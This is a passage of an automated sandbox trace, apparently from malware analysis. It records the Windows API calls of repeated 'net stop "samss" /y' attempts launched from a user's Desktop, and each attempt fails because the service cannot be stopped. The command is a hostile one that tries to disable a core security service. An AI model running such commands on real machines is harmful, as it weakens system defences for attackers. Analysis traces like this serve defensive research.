	[0268.239] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffbd5b50, nSize=0x800, Arguments=0xffbd7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0268.243] GetFileType (hFile=0xb) returned 0x2
	[0268.244] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcfc48 | out: lpMode=0xcfc48) returned 1
	[0268.245] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbd5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0xcfc40, lpReserved=0x0 | out: lpBuffer=0xffbd5b50*, lpNumberOfCharsWritten=0xcfc40*=0x47) returned 1
	[0268.245] GetFileType (hFile=0xb) returned 0x2
	[0268.246] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcfc48 | out: lpMode=0xcfc48) returned 1
	[0268.247] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbb1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfc40, lpReserved=0x0 | out: lpBuffer=0xffbb1efc*, lpNumberOfCharsWritten=0xcfc40*=0x2) returned 1
	[0268.247] _ultow (in: _Dest=0x88f, _Radix=851120 | out: _Dest=0x88f) returned="2191"
	[0268.247] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffbd5b50, nSize=0x800, Arguments=0xffbd7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0268.248] GetFileType (hFile=0xb) returned 0x2
	[0268.248] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcfc48 | out: lpMode=0xcfc48) returned 1
	[0268.249] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbd5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0xcfc40, lpReserved=0x0 | out: lpBuffer=0xffbd5b50*, lpNumberOfCharsWritten=0xcfc40*=0x34) returned 1
	[0268.250] GetFileType (hFile=0xb) returned 0x2
	[0268.250] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcfc48 | out: lpMode=0xcfc48) returned 1
	[0268.251] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbb1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcfc40, lpReserved=0x0 | out: lpBuffer=0xffbb1efc*, lpNumberOfCharsWritten=0xcfc40*=0x2) returned 1
	[0268.252] NetApiBufferFree (Buffer=0x1d4d40) returned 0x0
	[0268.252] NetApiBufferFree (Buffer=0x1dc0e0) returned 0x0
	[0268.252] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0268.252] exit (_Code=2) 

Process:
	id = "82"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x3a45000"
	os_pid = "0x3b4c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3479
	os_tid = 0x3b50


Process:
	id = "83"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x26df0000"
	os_pid = "0x3cd8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3596
	os_tid = 0x3cdc


Process:
	id = "84"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x22a10000"
	os_pid = "0x3e44"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "82"
	os_parent_pid = "0x3b4c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3681
	os_tid = 0x3e48

	[0282.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afdb0 | out: lpSystemTimeAsFileTime=0x1afdb0*(dwLowDateTime=0x78772650, dwHighDateTime=0x1d5cdef)) 
	[0282.721] GetCurrentProcessId () returned 0x3e44
	[0282.721] GetCurrentThreadId () returned 0x3e48
	[0282.722] GetTickCount () returned 0x118bb16
	[0282.722] QueryPerformanceCounter (in: lpPerformanceCount=0x1afdb8 | out: lpPerformanceCount=0x1afdb8*=42447449539) returned 1
	[0282.722] GetModuleHandleW (lpModuleName=0x0) returned 0xff570000
	[0282.723] __set_app_type (_Type=0x1) 
	[0282.723] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff589c9c) returned 0x0
	[0282.723] __getmainargs (in: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788, _DoWildCard=0, _StartInfo=0xff59479c | out: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788) returned 0
	[0282.723] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0282.724] GetConsoleOutputCP () returned 0x1b5
	[0282.971] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff59cec0 | out: lpCPInfo=0xff59cec0) returned 1
	[0282.972] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0282.976] sprintf_s (in: _DstBuf=0x1afd58, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0282.976] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0282.979] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0282.980] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0282.980] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0282.980] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1afaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0282.980] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x6e) returned 0x33c060
	[0282.980] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0282.980] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afd48 | out: Buffer=0x1afd48*=0x334d40) returned 0x0
	[0282.981] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afd48 | out: Buffer=0x1afd48*=0x33c0e0) returned 0x0
	[0282.981] _fileno (_File=0x7fefe122a80) returned 0
	[0282.981] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0282.981] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0282.981] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0282.981] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0282.981] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0282.981] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0282.981] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0282.982] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0282.982] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0282.982] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0282.982] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0282.982] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0282.982] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0282.982] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0282.982] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0282.982] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0282.982] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0282.982] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0282.982] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0282.982] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0282.982] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0282.982] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0282.983] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0282.983] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0282.983] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0282.983] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0282.983] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0282.983] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0282.983] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0282.983] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0282.983] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0282.983] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0282.983] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0282.983] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0282.983] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0282.983] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0282.984] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0282.984] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0282.984] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0282.984] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0282.984] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0282.984] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0282.984] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0282.984] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0282.984] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0282.984] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0282.984] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0282.984] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0282.984] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0282.985] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0282.985] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0282.985] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0282.985] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0282.985] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0282.985] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0282.985] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0282.985] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0282.985] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0282.985] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0282.985] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0282.985] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0282.985] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0282.985] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0282.985] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0282.985] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0282.985] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0282.986] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0282.987] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x33cdf0
	[0282.995] GetServiceKeyNameW (in: hSCManager=0x33cdf0, lpDisplayName="SAMSS", lpServiceName=0xff595750, lpcchBuffer=0x1afc68 | out: lpServiceName="", lpcchBuffer=0x1afc68) returned 0
	[0282.997] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0282.997] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0282.997] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0282.998] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0282.998] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0282.998] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0282.998] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0282.998] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0282.998] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0282.998] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0282.998] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0282.998] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0282.998] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0282.998] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0282.998] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0282.998] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0282.998] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0282.998] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0282.998] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0282.999] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1afc70 | out: bufptr=0x1afc70) returned 0x0
	[0283.006] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1afc28 | out: Buffer=0x1afc28*=0x340c70) returned 0x0
	[0283.006] OpenServiceW (hSCManager=0x33cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x33ce50
	[0283.006] QueryServiceStatus (in: hService=0x33ce50, lpServiceStatus=0x1afbd0 | out: lpServiceStatus=0x1afbd0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0283.007] NetApiBufferFree (Buffer=0x340c70) returned 0x0
	[0283.007] CloseServiceHandle (hSCObject=0x33ce50) returned 1
	[0283.008] wcscpy_s (in: _Destination=0xff5980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0283.008] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0283.009] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0283.013] GetFileType (hFile=0xb) returned 0x2
	[0283.167] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afac8 | out: lpMode=0x1afac8) returned 1
	[0283.168] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1afac0, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x1afac0*=0x47) returned 1
	[0283.168] GetFileType (hFile=0xb) returned 0x2
	[0283.169] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afac8 | out: lpMode=0x1afac8) returned 1
	[0283.169] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1afac0, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x1afac0*=0x2) returned 1
	[0283.170] _ultow (in: _Dest=0x88f, _Radix=1768240 | out: _Dest=0x88f) returned="2191"
	[0283.170] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff595b50, nSize=0x800, Arguments=0xff597f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0283.171] GetFileType (hFile=0xb) returned 0x2
	[0283.172] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afac8 | out: lpMode=0x1afac8) returned 1
	[0283.172] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff595b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1afac0, lpReserved=0x0 | out: lpBuffer=0xff595b50*, lpNumberOfCharsWritten=0x1afac0*=0x34) returned 1
	[0283.173] GetFileType (hFile=0xb) returned 0x2
	[0283.173] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afac8 | out: lpMode=0x1afac8) returned 1
	[0283.174] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff571efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1afac0, lpReserved=0x0 | out: lpBuffer=0xff571efc*, lpNumberOfCharsWritten=0x1afac0*=0x2) returned 1
	[0283.175] NetApiBufferFree (Buffer=0x334d40) returned 0x0
	[0283.175] NetApiBufferFree (Buffer=0x33c0e0) returned 0x0
	[0283.175] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0283.175] exit (_Code=2) 

Process:
	id = "85"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2612e000"
	os_pid = "0x3e4c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3682
	os_tid = 0x3e50


Process:
	id = "86"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x87f000"
	os_pid = "0x3e8c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "83"
	os_parent_pid = "0x3cd8"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3694
	os_tid = 0x3e90

	[0283.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef970 | out: lpSystemTimeAsFileTime=0x1ef970*(dwLowDateTime=0x78f7b090, dwHighDateTime=0x1d5cdef)) 
	[0283.567] GetCurrentProcessId () returned 0x3e8c
	[0283.567] GetCurrentThreadId () returned 0x3e90
	[0283.567] GetTickCount () returned 0x118be60
	[0283.567] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef978 | out: lpPerformanceCount=0x1ef978*=42532011821) returned 1
	[0283.568] GetModuleHandleW (lpModuleName=0x0) returned 0xff570000
	[0283.568] __set_app_type (_Type=0x1) 
	[0283.568] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff589c9c) returned 0x0
	[0283.568] __getmainargs (in: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788, _DoWildCard=0, _StartInfo=0xff59479c | out: _Argc=0xff594780, _Argv=0xff594790, _Env=0xff594788) returned 0
	[0283.569] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0283.569] GetConsoleOutputCP () returned 0x1b5
	[0283.569] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff59cec0 | out: lpCPInfo=0xff59cec0) returned 1
	[0283.570] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0283.574] sprintf_s (in: _DstBuf=0x1ef918, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0283.574] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0283.578] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0283.578] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0283.578] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0283.578] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ef6b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0283.578] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x6e) returned 0x26c060
	[0283.578] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0283.578] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1ef908 | out: Buffer=0x1ef908*=0x264d40) returned 0x0
	[0283.579] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1ef908 | out: Buffer=0x1ef908*=0x26c0e0) returned 0x0
	[0283.579] _fileno (_File=0x7fefe122a80) returned 0
	[0283.579] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0283.579] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0283.579] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0283.579] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0283.579] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0283.579] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0283.579] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0283.580] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0283.580] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0283.580] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0283.580] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0283.580] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0283.580] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0283.580] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0283.580] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0283.580] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0283.580] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0283.580] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0283.580] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0283.580] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0283.580] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0283.580] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0283.581] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0283.581] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0283.581] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0283.581] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0283.581] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0283.581] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0283.581] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0283.581] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0283.581] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0283.581] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0283.581] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0283.581] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0283.581] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0283.581] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0283.581] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0283.581] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0283.581] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0283.581] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0283.581] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0283.582] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0283.582] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0283.582] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0283.582] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0283.582] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0283.582] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0283.582] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0283.582] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0283.582] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0283.582] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0283.582] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0283.582] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0283.582] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0283.582] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0283.582] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0283.582] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0283.583] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0283.583] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0283.583] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0283.583] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0283.583] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0283.583] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0283.583] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0283.583] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0283.583] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0283.583] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0283.584] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x26cdf0
	[0283.658] GetServiceKeyNameW (in: hSCManager=0x26cdf0, lpDisplayName="SAMSS", lpServiceName=0xff595750, lpcchBuffer=0x1ef828 | out: lpServiceName="", lpcchBuffer=0x1ef828) returned 0
	[0283.660] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0283.660] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0283.661] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0283.661] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0283.661] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0283.661] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0283.661] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0283.661] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0283.661] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0283.661] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0283.661] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0283.661] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0283.661] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0283.661] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0283.661] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0283.661] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
